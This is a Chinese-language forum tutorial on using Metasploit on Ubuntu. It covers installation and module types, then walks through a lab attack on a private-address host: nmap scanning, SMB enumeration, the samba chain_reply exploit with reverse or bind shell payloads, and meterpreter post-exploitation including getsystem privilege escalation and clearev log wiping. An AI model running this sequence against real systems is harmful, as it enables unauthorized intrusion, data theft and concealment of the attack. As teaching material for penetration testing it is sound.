[工具使用] 实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】

266 0
Honkers 2025-3-31 10:17:33 | 显示全部楼层 |阅读模式

一. Metasploit 渗透工具


Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程

二. 安装配置

切换至准备下载软件的目录下

  1. cd /opt
复制代码

下载

  1. curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
复制代码

msf默认使用的PostgreSQL数据库不能与root用户关联,所以我们需要添加新用户msf,并且每次启动msf,都需要切换用户,否则数据库无法同步

  1. # 添加msf用户
  2. adduser msf
  3. # 切换到msf用户
  4. su msf
  5. # 切换到msf所在的目录
  6. cd /opt/metasploit-framework/bin
  7. # 启动msfconsole
  8. ./msfconsole
复制代码

可将metasploit添加至执行目录,往后在任何目录直接msfconsole就可以

  1. ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
复制代码

更新msf(可选)

  1. # MSF后期更新升级
  2. msfupdate
复制代码

三. 模块讲解

3.1 auxiliary-辅助模块


辅助模块

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

查看辅助模块

  1. show auxiliary/xxx
复制代码

3.2 exploit-渗透攻击模块


渗透攻击模块

是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的一个代码模块

查看不同系统的可利用漏洞

  1. search exploits/xxxx
复制代码

3.3 payload-攻击荷载模块


攻击荷载模块

攻击载荷是渗透目标系统之后完成实际攻击功能的代码,用于在目标系统上运行任意命令或者执行特定代码。

查看可用代码

  1. # 查看可用代码
  2. search payloads/xxxx
复制代码

组成

  • Single:完全独立的Payload,运行简单,例如添加一个系统用户或删除一份文件。

    • 格式:形如target/single ,如:windows/powershell_bind_tcp
  • Stager:负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。

  • Stage:是Stager下的一种组件,可以提供更加高级的功能

    • 格式:形如target/stage/stager, 如:windows/meterpreter/reverse_tcp,包含一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成。

四. 模拟攻击

4.1 准备工作


被渗透机器:10.137.5.2,先给被渗透的机器安装一些服务,便于被发现

  1. apt-get install vsftpd
  2. apt-get install openssh-server
  3. apt-get install telnet
  4. apt-get install postfix
  5. apt-get install samba
复制代码

攻击机器为:10.137.5.1,安装namp用作服务和端口扫描

  1. apt-get install nmap
复制代码

开始扫描目标机器,注意要在root权限下运行命令

  1. # -sS:表示这是一个基本的扫描方式,Nmap发送SYN包到远程主机,但不会在目标主机上产生任何日志记录
  2. # -sV:用来扫描目标主机和端口上运行的软件的版本
  3. # -n:不进行dns解析操作
  4. nmap -sS -sV -n 10.137.5.2
复制代码

表示总共运行了如下服务和开启如下端口

服务端口
vsftpd21
Openssh22
smtpd25
samba139 和 445

4.2 漏洞探测


首先进入框架

  1. msfconsole
复制代码

假设利用samba服务渗透,搜索相关扫描漏洞,选择一个漏洞进行渗透

  1. search scanner/smb
复制代码

选择漏洞探测,一般Auxiliary就是负责执行扫描

  1. use auxiliary/scanner/smb/smb_enumshares
复制代码

查看该模块所需的配置信息

  1. show options
复制代码

设置要探测的远程目标

  1. set rhosts 10.137.5.2
复制代码

对该主机进行渗透攻击,正常情况下,有+号的就是可能存在漏洞的主机

  1. exploit
复制代码

4.3 漏洞利用


查找利用漏洞

  1. search linux/samba
复制代码

选择漏洞攻击

  1. use linux/samba/chain_reply
复制代码

查看设置参数

  1. show options
复制代码

可以看见我们只需要设置探测的远程目标即可

  1. set rhosts 10.137.5.2
复制代码

可以看见,已默认选择了一种攻击方式linux/x86/meterpreter/reverse_tcp


如果不满意,可以查看攻击荷载

  1. show payloads
复制代码


再额外设置攻击荷载,记住要选择了linux版本,例如

  1. set payload payload/linux/x86/shell_bind_tcp
复制代码

再次查看需配置参数,发现已经被更改

  1. show options
复制代码

其中lport,表示反弹shell到我们主机的这个端口

设置回弹主机地址

  1. set lhost 10.137.5.1
复制代码

进行攻击

  1. exploit
复制代码

理论上,在这里就已经攻击成功,但是由于版本更新的问题,很多软件已经被修复漏洞,根本无法成功渗透,如需成功渗透,可尝试使用低版本的软件或系统

4.4 后渗透操作


运行成功之后,我们将会看到命令提示符 meterpreter > 出现,输入shell进入目标主机终端

  1. shell
复制代码

退出终端,回到meterpreter

  1. exit
复制代码

在meterpreter下,我们可以进行如下操作

命令含义命令含义
sysinfo查看主机消息pwd查看当前目录
cd切换文件夹cat查看文件内容
rm删除文件edit编辑文件
ls查看文件详情mkdir创建目录
download file下载文件upload file上传文件
screenshot截图getsystem权限提升

使用完毕getsystem,清除操作日志

  1. clearev
复制代码

挂载getsystem ,回到msf框架

  1. background
复制代码

查看保存的shell会话

  1. sessions -l
复制代码

输入session [id]即可再次进入终端

  1. session 2
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

特级红客

关注
  • 3139
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行